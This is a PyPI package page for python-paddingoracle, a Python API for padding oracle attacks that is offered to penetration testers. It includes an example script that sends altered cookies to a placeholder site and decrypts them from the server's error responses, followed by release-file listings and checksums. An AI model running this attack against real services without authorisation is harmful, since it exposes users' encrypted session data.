python-paddingoracle: A portable, padding oracle exploit API
python-paddingoracle is an API that provides pentesters a customizable alternative to PadBuster and other padding oracle exploit tools that can’t easily (without a heavy rewrite) be used in unique, per-app scenarios. Think non-HTTP applications, raw sockets, client applications, unique encodings, etc.
Usage:
To use the paddingoracle API, simply implement the oracle() method from the PaddingOracle API and raise a BadPaddingException when the decrypter reveals a padding oracle. To decrypt data, pass raw encrypted bytes to decrypt() with a block size (typically 8 or 16) and optional iv parameter.
See below for an example (from the example):
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
self.wait = kwargs.get('wait', 2.0)
def oracle(self, data, **kwargs):
somecookie = quote(b64encode(data))
self.session.cookies['somecookie'] = somecookie
while 1:
try:
response = self.session.get('http://www.example.com/',
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue
self.history.append(response)
if response.ok:
logging.debug('No padding exception raised on %r', somecookie)
return
# An HTTP 500 error was returned, likely due to incorrect padding
raise BadPaddingException
if __name__ == '__main__':
import logging
import sys
if not sys.argv[1:]:
print 'Usage: %s <somecookie value>' % (sys.argv[0], )
sys.exit(1)
logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[1]))
padbuster = PadBuster()
cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))
print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie))
Credits
python-paddingoracle is a Python implementation heavily based on PadBuster, an automated script for performing Padding Oracle attacks, developed by Brian Holyfield of Gotham Digital Science.
Metadata
Release files for paddingoracle 0.2.2
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| paddingoracle-0.2.2.tar.gz | 5.3 kB | Without provenance | Details for paddingoracle-0.2.2.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| paddingoracle-0.2.2-py2-none-any.whl | Python 2 | none | any | Details for paddingoracle-0.2.2-py2-none-any.whl |
Total release size: 10.8 kB
Release files / paddingoracle-0.2.2.tar.gz
| Download URL | paddingoracle-0.2.2.tar.gz |
|---|---|
| Size | 5.3 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
bfa836e7a9971484f6b44ad61972ed81adc58a1c4d1ecc11e090fa1e8849803d
|
|
BLAKE2b-256 checksum How to use checksums |
748db12a6ce3e5e5f77a2d8513ae4f45b925741e83c5a116f6fbc79f987a5507
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
Release files / paddingoracle-0.2.2-py2-none-any.whl
| Download URL | paddingoracle-0.2.2-py2-none-any.whl |
|---|---|
| Size | 5.6 kB |
| Tags | Python 2 |
|
SHA-256 checksum How to use checksums |
0a2432d8911f9d2e31d261585dba3af571b7d2e71971cb731360a25ccbeda8c2
|
|
BLAKE2b-256 checksum How to use checksums |
4846198eaee3113990344c8260e9fca87e573d83fe08ca24db1d15a59cb3df8f
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
Security for paddingoracle 0.2.2
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.